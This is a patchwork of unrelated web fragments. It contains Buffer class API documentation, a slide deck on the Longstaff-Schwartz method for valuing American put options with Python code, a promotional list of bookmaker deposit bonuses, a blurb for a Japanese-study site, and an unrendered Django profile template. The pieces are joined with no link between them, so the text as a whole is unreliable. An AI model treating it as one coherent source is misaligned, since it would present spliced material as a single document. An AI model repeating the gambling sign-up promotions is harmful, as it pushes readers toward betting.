Sets the bytes at position pos
in the Buffer to the value of str
encoded in UTF-8.
The buffer will expand as necessary to accommodate any value written.
Returns a String
representation of the Buffer with the encoding specified by enc
Returns a String
representation of the Buffer with the encoding specified by enc
The encoding to use to compute the String.
A string representation of the Buffer.
Returns a String
representation of the Buffer assuming it contains a
String
encoding in UTF-8.
Returns a String
representation of the Buffer assuming it contains a
String
encoding in UTF-8.
A string representation of the Buffer.
Helper method wrapping invocations and returning the Scala type, once again to help provide fluent return types
Helper method wrapping invocations and returning the Scala type, once again to help provide fluent return types
A Buffer represents a sequence of zero or more bytes that can be written to or read from, and which expands as necessary to accommodate any bytes written to it.
There are two ways to write data to a Buffer: The first method involves methods that take the form
setXXX
. These methods write data into the buffer starting at the specified position. The position does not have to be inside data that has already been written to the buffer; the buffer will automatically expand to encompass the position plus any data that needs to be written. All positions are measured in bytes and start with zero.The second method involves methods that take the form
appendXXX
; these methods append data at the end of the buffer.Methods exist to both
set
andappend
all primitive types, java.lang.String}, java.nio.ByteBuffer and other instances of Buffer.Data can be read from a buffer by invoking methods which take the form
getXXX
. These methods take a parameter representing the position in the Buffer from where to read data.Once a buffer has been written to a socket or other write stream, the same buffer instance can't be written again to another WriteStream.
Instances of this class are not thread-safe.


name: title class: center, middle, inverse # Should I stay or should I go? ## Optimal Exercise Decisions using the Longstaff-Schwartz Algorithm --- name: agenda # Agenda
## What is a Call / Exercise Right? - American Put Option ## Valuation by Simulation - Risk-Neutral Valuation with Monte Carlo - Exercise vs. Continuation Value - Perfect Foresight and Nested Simulation ## Longstaff-Schwartz Algorithm - Approximation of Continuation Value - Longstaff-Schwartz Algorithm in Python - Approximation Steps - Exercise or Hold ## Beyond Examples - More Complex Call Rights and Payoffs - A Framework for Optimal Exercise Decisions and Call Right Valuation ??? - No formulas, many graphics --- # What is a Call Right? ## Example: Value of a Gold Coin ![coin](img/coin.png) ![coinvalue](draw/coin-value.svg) - Current value of the gold coin is about 680€ - Gold price may further increase, but could also fall --- # What is a Call Right? ## Future Scenarios of the Coin Value ![drawing](draw/monte-carlo.svg) - Simulation model of the future coin value - Each line is a possible future scenario, called "path" --- # What is a Call Right? ## I don't want the Coin to loose Value | Scenario | What I want | | |------------------|---------------------|---| | Always | Keep the coin |![coinintable](img/coin.png)| | Coin value rises | Participate |![coinintable](draw/smiley_happy.svg)| | Coin value falls | Not loose any value |![coinintable](draw/smiley_neutral.svg)| - I do not want to sell the coin - I want to protect myself against a loss due to falling gold prices - I want to profit from a rising gold price - Is all of that possible? Yes, but I have to pay for it --- # What is a Call Right? ## We enter a Contract on the Coin Value I can pick any date within the next five years where you have to pay me the difference between the 680€ and the current price; e.g. if the value of the coin was 610€, you would pay me 680€ - 610€ = 70€ ![americanoption](draw/american-option-contract.svg) - I can only pick a date once, but I can choose any day within the next five years - I now have a call right or exercise right - This specific contract is called an American Put Option - You can only loose in the future, so you will request a premium ![americanoptionpremium](draw/american-option-premium.svg) --- # What is a Call Right? ## American Put Option Payoff ![drawing](draw/american-option-payoff.svg) - If the gold price rises, I will not exercise the option, i.e. I get a payoff of 0€ - If the gold price falls and the coin is worth x < 680€, I can can exercise the option and get the difference 680€ - x - Expressing this in a common formula, the payoff of the option when exercising is ``` max(680€ - x, 0) ``` --- # What is a Call Right? ## Check of Requirements | Scenario | What I want | Option Payoff | Coin Value + Option Payoff || |------------------|---------------------|---|---|---| | Always | Keep the coin |||![check](draw/check.svg)| | Coin value rises to x | Participate |0€|x + 0€ = x > 680€|![check](draw/check.svg)| | Coin value falls to x | Not loose any value |680€ - x|x + 680€ - x = 680€|![check](draw/check.svg)| - I get to keep the coin - If the gold price rises, my coin becomes more valuable and the option does nothing - If the gold price falls, my coin looses value, but I can exercise the option to make up for the loss --- # What is a Call Right? ## American Put Option Exercise Decisions ![drawing](draw/american-option.svg) - Whenever the coin value drops below 680€, I have to decide whether to exercise the option or hold and wait - As long as the coin value is above 680€, I will hold - How much should I pay / should you charge me for this contract? - When should I exercise the option (which date should I choose)? --- # Risk-Neutral Valuation using Monte Carlo Method ![drawing](draw/monte-carlo.svg) - When using the Monte Carlo method, the coin value is simulated (sampled) independently many times - Valuation happens by averaging payoffs over paths - For example: (725€ + 710€ + 685€ + 670€ + 665€) / 5 = 3455 / 5 ≈ 680€ ??? - With Monte Carlo method, model is simulated (sampled) many times - Independent realizations of a stochastic process are called paths - Each path can be seen as one possible future scenario - All paths are equally likely - Valuation happens by averaging payoffs over paths - We know now how to evaluate payoffs; how can we handle call rights? --- # Exercise vs. Continuation Value ![drawing](draw/exercise-or-continue.svg) - Whenever the cashflow from exercising the put is larger than the continuation value, exercise is favourable - As it can only be exercised once, it would be exercised on the first favourable exercise date ??? - To evaluate call rights, we have to compare two values: - Exercise value and continuation value - Exercise value is the cashflow we receive on exercising the option - Continuation value is the value of the option if we do not exercise - When exercise value is larger than continuation value we exercise, otherwise we don't - How do we get exercise and continuation value? - One is simple, the other one is hard --- # Exercise Value ![small-img](img/monte-carlo.svg) ![small-img](img/exercise-value.svg) Obtaining the exercise value is simple: just plug the underlying value (stock price) into the payoff function. ??? - On the left is the simulated stock price - We simply plug the call price into the payoff formulate of the Put option and get the exercise value - On the right we see the exercise value for all paths and timesteps - We have to an approximation: we cannot simulate continuously in time, but only for discrete time steps - Exercise value is simple, but how do we get continuation value? --- # Perfect Foresight / Hindsight ![drawing](draw/perfect-foresight.svg) - With perfect foresight / hindsight we simply look at the future payoffs we can generate on each path and compute the continuation value from that - Exercising on this basis gives perfect decisions in hindsight - This is approach is wrong as it looks into the future; my call right would we over-valued ??? - Let's first discuss an approach that does not work - Can we simply use the future underlying values on a path to estimate the local continuation value? - No, we would be looking into the future; we would over-estimate the options value - Instead of the future values on the path we would need the **conditional expectation** given where we are --- # Nested Simulation ![drawing](draw/nested-simulation.svg) - With nested simulation, a new set of independent paths has to simulated for each existing path from the call right onwards - The computational effort grows exponentially with the number of call rights ??? - Let's try it with brute force: - For every path we perform a new set of simulations from the call right onwards - This approach is called nested simulation because we nest one simulation into another - This approach gives the correct result... - ...but the computational effort **grows exponentially** with more call rights --- # Approximation of Continuation Value ![drawing](draw/continuation-value-approximation.svg) - We approximate the continuation value by using all future path information and fit a function to it - This "averages out" the individual information on every path that we may not use --- # Approximation of Continuation Value ![](img/continuation-value-cashflows.svg) ??? - Let's try to approximate the continuation value --- # Approximation of Continuation Value ![](img/continuation-value-approximation.svg) ??? - Notice that we neither extrapolate nor interpolate with the fitted polynomial - We only apply the fitted curve at points we used in the regression (in sample) - We want to **smooth out the idioyncratic** information of each path... - ...so that we do not use future information anymore - This is a polynomial curve fitting problem and numpy gives us a nice tool to handle it... --- # Polynomials in NumPy ``` import numpy as np from numpy.polynomial import Polynomial import matplotlib.pyplot as plt x = np.array([0., 1., 2., 3., 4., 5., 6., 7., 8., 9., 10.]) y = np.array([0., -1., -1.4, -1.6, -1.2, -0.5, 0.9, 1.6, 2.1, 2.2, 2.3]) p = Polynomial.fit(x, y, 4) plt.figure(figsize=[6, 3]); plt.plot(*p.linspace(), '-'); plt.plot(x, y, '+'); ``` ![](img/numpy-polynomials.svg) ??? ``` plt.gca().set_position([0.08, 0.08, 0.9, 0.9]) plt.savefig('img/numpy-polynomials.svg') ``` - We now have all the tools and prerequsites to do the algorithm --- # Longstaff-Schwartz Algorithm in Python ``` # simulated paths as array of shape (60, 50) representing (timesteps, paths) X = np.array([[...], ...]) strike = 1.0 # given no prior exercise we just receive the payoff of a European option cashflow = np.maximum(strike - X[-1, :], 0.0) # iterating backwards in time for i in reversed(range(1, X.shape[0] - 1)): x = X[i, :] # exercise value for time t[i] exercise = np.maximum(strike - x, 0.0) # boolean index of all in-the-money paths itm = exercise > 0.0 # fit polynomial of degree 2 fitted = Polynomial.fit(x[itm], cashflow[itm], 2) # approximate continuation value continuation = fitted(x) # boolean index where exercise is beneficial ex_idx = itm & (exercise > continuation) # update cashflows with early exercises cashflow[ex_idx] = exercise[ex_idx] ``` ??? - We initialize the cashflow array with the payoff at maturity (at the last time step) - Then we work backwards in a loop - Discounting is ignored (i.e. interest rates are assumed to be zero) - In the end we have the cashflow at the first time step with an exercise right; we now only need to discount to today and average - Let's look at the data this algorithm generates... --- # Approximated Continuation and Exercise Value I ![](img/approximated-continuation-and-exercise-value-0.svg) --- # Approximated Continuation and Exercise Value II ![](img/approximated-continuation-and-exercise-value-1.svg) --- # Approximated Continuation and Exercise Value III ![](img/approximated-continuation-and-exercise-value-2.svg) ??? - Closer to now we see no favourable exercises at all - Let's now see when the algorithm recommends us to exercise... --- # Exercise or Hold ![](img/exercise-or-hold.svg) --- # First Favourable Exercise ![](img/first-exercises.svg) --- # Exercise Boundary ![](img/binomial-fitted-exercise-boundary.svg) ??? - I have tried to fit a curve as a simple exercise boundary, but the results do not look promising - We are approaching the end, just a few words about generalization of the code... --- # More Complex Call Rights - Sometimes there is no concept of "in-the-money" paths; if exercise might be favourable on all paths, regression should be performed on all paths - If the payoff depends on more than a single state variable, regression should be performed on basis functions of all state variables (and their interactions to a limited degree) - If the payoff us path-dependent (non-Markovian), we have to evaluate the exercise/payoff function on the entire path up to the current time step --- name:framework # A General Framework for Optimal Exercise Decisions and Call Right Valuation .column-4[ #### Payoff and Call Right Description
Financial product description in serialized form (JSON, XML) and / or as an object model
Our approach: Python payoff code for an American Put, no generalization ] .column-4[ #### Risk-Neutral Valuation Model
Arbitrage-free replication model and pricing technique (analytical, PDE solving, Monte Carlo, ...)
Our approach: Monte Carlo pricing in a Black-Scholes model ] .column-4[ #### Marketdata and Calibration
Fit model parameters to market quotes (forward curves, implied volatilities, ...)
Our approach: Freely choose model parameters ] .column-4[ #### Exercise Algorithm
Computation or approximation of continuation values and optimal exercise decisions
Our approach: Use Longstaff-Schwartz ] --- # Source **Francis A. Longstaff, Eduardo S. Schwartz**, *Valuing American Options by Simulation: A Simple Least-Squares Approach* (The Review of Financial Studies) (2001) Vol 14, No 1, pp. 113-147.
# Slides and Jupyter Notebook https://ogy.de/call-rights ![qrcode](img/qrcode.png) ??? - Before moving to Q&A, a few words on the original paper


Bet365
-> MASSIVE £200/€200 Matched First Deposit
-> HUGE variety of markets
-> Loyalty bonuses
-> Number 1 site for inplays
-> Streaming on site
Betfred
-> Free £50/€50 Matched Bet
-> Great Poker site with lots of FREE tournaments
-> Goals Galore specials
PaddyPower
-> Free £50/€50 Matches Bet
-> Enhanced specials
-> Very good Mobile app
Skybet
-> FREE £10/€10 No Deposit Required!
-> Weekly Super 6 competition to win £100,000
-> Fantasy football built in to the site
StanJames
-> Free £10 Matched Bet
-> Huge Casino Bonus
-> Weekly giveaways on our Facebook page!
WillHill
-> Free £25/€25 Matched Bet
-> Easy to use site
-> Live streaming on site


LearnJPOnline is a passion project to help myself study japanese more effectively. While initially it will be basic much like this description, I plan to ramp it up progressively adding more categories and features as I develop it. I hope that this site will be able to help myself and anyone else who finds it to gain the knowledge they desire and make potential trips to Japan a more pleasant and enjoyable experience.


{{profile.user.username}}
{{profile.profession}}
{{profile.location}}
-
Website
{{profile.website}} -
Twitter
{{profile.twitter}} -
Instagram
{{profile.instagram}} -
Facebook
{{profile.facebook}}
Full Name
{{profile.full_name}}
{{profile.email_address}}
Mobile
{{profile.mobile_number}}
Location
{{profile.location}}
{% for business in businesses%}
Businesses under my name
{{business.bs_name}}
{% empty %}
No business has been registered under this profile
{% endfor %}
{% for post in posts%}
Businesses under my name
{{post.title}}
{% empty %}
No posts yet
{% endfor %}